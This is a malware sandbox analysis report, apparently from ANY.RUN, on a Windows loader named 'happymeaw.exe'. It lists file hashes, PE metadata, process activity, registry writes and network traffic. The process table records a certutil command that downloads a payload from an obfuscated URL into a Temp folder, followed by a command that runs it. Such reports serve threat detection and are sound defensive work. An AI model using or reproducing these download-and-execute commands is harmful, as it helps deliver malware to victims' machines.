| File name: | happymeaw.exe |
| Full analysis: | https://app.any.run/tasks/89288d6d-90f4-4f59-ae9a-762571b47cb4 |
| Verdict: | Malicious activity |
| Threats: | A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. |
| Analysis date: | July 27, 2024, 18:26:22 |
| OS: | Windows 10 Professional (build: 19045, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/x-dosexec |
| File info: | PE32+ executable (console) x86-64, for MS Windows |
| MD5: | BCB532FA0AA912B0AB7948145F6F19BE |
| SHA1: | D06F6353CD17C7C56E2F003F07B6E8628280A2C3 |
| SHA256: | C7074B78B5DCB2D44CA03FECDC1110B62EF5221D65409D1749660908A11386B1 |
| SSDEEP: | 49152:NbXNO1dN+oyVwZzqrFdhzqS+4zQLOaaS5e:PO1dN+oyVwZzqrFdhzqS+4zQLFaS |
| .exe | | | Win64 Executable (generic) (87.3) |
|---|---|---|
| .exe | | | Generic Win/DOS Executable (6.3) |
| .exe | | | DOS Executable Generic (6.3) |
| MachineType: | AMD AMD64 |
|---|---|
| TimeStamp: | 2024:06:22 16:16:47+00:00 |
| ImageFileCharacteristics: | Executable, Large address aware |
| PEType: | PE32+ |
| LinkerVersion: | 14.39 |
| CodeSize: | 1654272 |
| InitializedDataSize: | 443904 |
| UninitializedDataSize: | - |
| EntryPoint: | 0xc2994 |
| OSVersion: | 6 |
| ImageVersion: | - |
| SubsystemVersion: | 6 |
| Subsystem: | Windows command line |
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 1232 | notepad.exe | C:\Windows\System32\notepad.exe | — | happymeaw.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Notepad Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1388 | C:\WINDOWS\system32\cmd.exe /c certutil -urlcache -split -f "https://storage.goGzqg~u``%r~h>}~czhmGd@uu5KJG;~slovampgx}" "C:\Windows\Temp\jupijapa.exe" >nul 2>&1 | C:\Windows\System32\cmd.exe | — | happymeaw.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 2147954405 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2044 | certutil -urlcache -split -f "https://storage.goGzqg~u``%r~h>}~czhmGd@uu5KJG;~slovampgx}" "C:\Windows\Temp\jupijapa.exe" | C:\Windows\System32\certutil.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: CertUtil.exe Exit code: 2147954405 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2080 | "C:\Program Files\RUXIM\PLUGscheduler.exe" | C:\Program Files\RUXIM\PLUGScheduler.exe | — | svchost.exe | |||||||||||
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Windows Update LifeCycle Component Scheduler Exit code: 0 Version: 10.0.19041.3623 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2116 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | happymeaw.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2300 | C:\WINDOWS\system32\cmd.exe /c cmd.exe /C "for /L %i in (1,1,10000) do echo Jupi Jupi Japa Japa Dubi Dubi Daba Daba" | C:\Windows\System32\cmd.exe | — | happymeaw.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 3221225547 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2552 | cmd.exe /C "C:\Windows\Temp\jupijapa.exe all > C:\Windows\Temp\dadadada.md" | C:\Windows\System32\cmd.exe | — | happymeaw.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 1 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2612 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | happymeaw.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2768 | "C:\Users\admin\Desktop\happymeaw.exe" | C:\Users\admin\Desktop\happymeaw.exe | — | explorer.exe | |||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Modules
| |||||||||||||||
| 3384 | cmd.exe /C "for /L %i in (1,1,10000) do echo Jupi Jupi Japa Japa Dubi Dubi Daba Daba" | C:\Windows\System32\cmd.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 3221225786 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| (PID) Process: | (5452) control.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer |
| Operation: | write | Name: | SlowContextMenuEntries |
Value: 6024B221EA3A6910A2DC08002B30309D0A010000BD0E0C47735D584D9CEDE91E22E23282770100000114020000000000C0000000000000468D0000006078A409B011A54DAFA526D86198A780390100009AD298B2EDA6DE11BA8CA68E55D895936E000000 | |||
| (PID) Process: | (5452) control.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content |
| Operation: | write | Name: | CachePrefix |
Value: | |||
| (PID) Process: | (5452) control.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies |
| Operation: | write | Name: | CachePrefix |
Value: Cookie: | |||
| (PID) Process: | (5452) control.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History |
| Operation: | write | Name: | CachePrefix |
Value: Visited: | |||
| (PID) Process: | (5468) WinRAR.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\WinRAR\Interface\Themes |
| Operation: | write | Name: | ShellExtBMP |
Value: | |||
| (PID) Process: | (5468) WinRAR.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\WinRAR\Interface\Themes |
| Operation: | write | Name: | ShellExtIcon |
Value: | |||
| (PID) Process: | (5468) WinRAR.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | name |
Value: 120 | |||
| (PID) Process: | (5468) WinRAR.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | size |
Value: 80 | |||
| (PID) Process: | (5468) WinRAR.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | type |
Value: 120 | |||
| (PID) Process: | (5468) WinRAR.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | mtime |
Value: 100 | |||
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2080 | PLUGScheduler.exe | C:\ProgramData\PLUG\Logs\RUXIMLog.034.etl | etl | |
MD5:FA358BFEE9B4E1FFB7394D13CBBC4898 | SHA256:6FF97BBF8A56286A4C71623829514CC14B7F8CBBCF09748D939F733968478A22 | |||
| 2080 | PLUGScheduler.exe | C:\ProgramData\PLUG\Logs\RUXIMLog.029.etl | etl | |
MD5:868E79A00A8204448B2FFC4F4D5C08EA | SHA256:148FE324431CB4C826BCF0436147D946AC389A877732612CF40629048B8517DC | |||
| 2080 | PLUGScheduler.exe | C:\ProgramData\PLUG\Logs\RUXIMLog.026.etl | etl | |
MD5:C8834D365FAE073DEDE1F1620454CE71 | SHA256:C6DD793EEE1D5551CA507A3C5BFFECA82DD3E29C63C2C6DD218A7D4BFB37046B | |||
| 2080 | PLUGScheduler.exe | C:\ProgramData\PLUG\Logs\RUXIMLog.032.etl | etl | |
MD5:673727AF7C6805E869C9F8BE1E468F4A | SHA256:6B16B7DE97F397BCEC36EB3F18C7B64CD3DB6D2974DDF319A251CE27B80D837B | |||
| 2080 | PLUGScheduler.exe | C:\ProgramData\PLUG\Logs\RUXIMLog.028.etl | etl | |
MD5:44A0E917AD0C126931B1BCD959285A9A | SHA256:DDFBE47E7DFD6D8B7517F2F6FF9808ECF3C0A25F588A9F96D04F4E2B4A578573 | |||
| 2080 | PLUGScheduler.exe | C:\ProgramData\PLUG\Logs\RUXIMLog.031.etl | etl | |
MD5:079890A8EC8D5CB6523FCEC2209780AA | SHA256:0E12D2D76DD738CE196BED522E35F75E2CC91294F78CDDCBE8CE7787AAA70049 | |||
| 2080 | PLUGScheduler.exe | C:\ProgramData\PLUG\Logs\RUXIMLog.025.etl | etl | |
MD5:5EA68411BF8E9EAF4621BAF73F61449E | SHA256:9D4CA5A1D871F819C139A498BB910A63576C2FE6367853544F8D172D8B6EBFF7 | |||
| 2080 | PLUGScheduler.exe | C:\ProgramData\PLUG\Logs\RUXIMLog.015.etl | etl | |
MD5:0DE8B8CBE71A7CD60D67AFE279E1ACB9 | SHA256:D17A442ABEB021BFA77E5EDAB3D7F3C6FFEA9C33B8D04409D149B518C5FDB57C | |||
| 2080 | PLUGScheduler.exe | C:\ProgramData\PLUG\Logs\RUXIMLog.019.etl | etl | |
MD5:8A2BDE0EAFA7E946196A1B114AB636E9 | SHA256:1C338CBDD9316D7FD8F208341466FEDC554A04D489B3A86C736EC3831A2F2BA2 | |||
| 2080 | PLUGScheduler.exe | C:\ProgramData\PLUG\Logs\RUXIMLog.014.etl | etl | |
MD5:F9485F2BA891697F8B6CF8FB1E7F42C0 | SHA256:69146D4AAEFB8609745B6CA780B48ABC66054AA3CDB8061248CF7B32F3B32617 | |||
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
5368 | SearchApp.exe | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D | unknown | — | — | whitelisted |
4424 | svchost.exe | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | unknown | — | — | whitelisted |
3676 | backgroundTaskHost.exe | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D | unknown | — | — | whitelisted |
4172 | SystemSettings.exe | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D | unknown | — | — | whitelisted |
4172 | SystemSettings.exe | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D | unknown | — | — | whitelisted |
2760 | OfficeClickToRun.exe | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAUZZSZEml49Gjh0j13P68w%3D | unknown | — | — | whitelisted |
4132 | OfficeClickToRun.exe | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D | unknown | — | — | whitelisted |
2308 | backgroundTaskHost.exe | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D | unknown | — | — | whitelisted |
784 | lsass.exe | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAo3h2ReX7SMIk79G%2B0UDDw%3D | unknown | — | — | whitelisted |
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
4340 | svchost.exe | 4.231.128.59:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
— | — | 131.253.33.254:443 | a-ring-fallback.msedge.net | MICROSOFT-CORP-MSN-AS-BLOCK | US | unknown |
— | — | 104.126.37.136:443 | www.bing.com | Akamai International B.V. | DE | unknown |
1108 | slui.exe | 40.91.76.224:443 | activation-v2.sls.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | US | whitelisted |
6012 | MoUsoCoreWorker.exe | 4.231.128.59:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
5312 | RUXIMICS.exe | 4.231.128.59:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
— | — | 239.255.255.250:1900 | — | — | — | whitelisted |
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
1644 | slui.exe | 40.91.76.224:443 | activation-v2.sls.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | US | whitelisted |
Domain | IP | Reputation |
|---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
t-ring-fdv2.msedge.net |
| unknown |
a-ring-fallback.msedge.net |
| unknown |
www.bing.com |
| whitelisted |
google.com |
| whitelisted |
fp-afd-nocache-ccp.azureedge.net |
| whitelisted |
login.live.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
client.wns.windows.com |
| whitelisted |
th.bing.com |
| whitelisted |
PID | Process | Class | Message |
|---|---|---|---|
2184 | svchost.exe | Misc activity | ET INFO Observed Discord Domain in DNS Lookup (discord .com) |
6240 | curl.exe | Misc activity | ET INFO Observed Discord Domain (discord .com in TLS SNI) |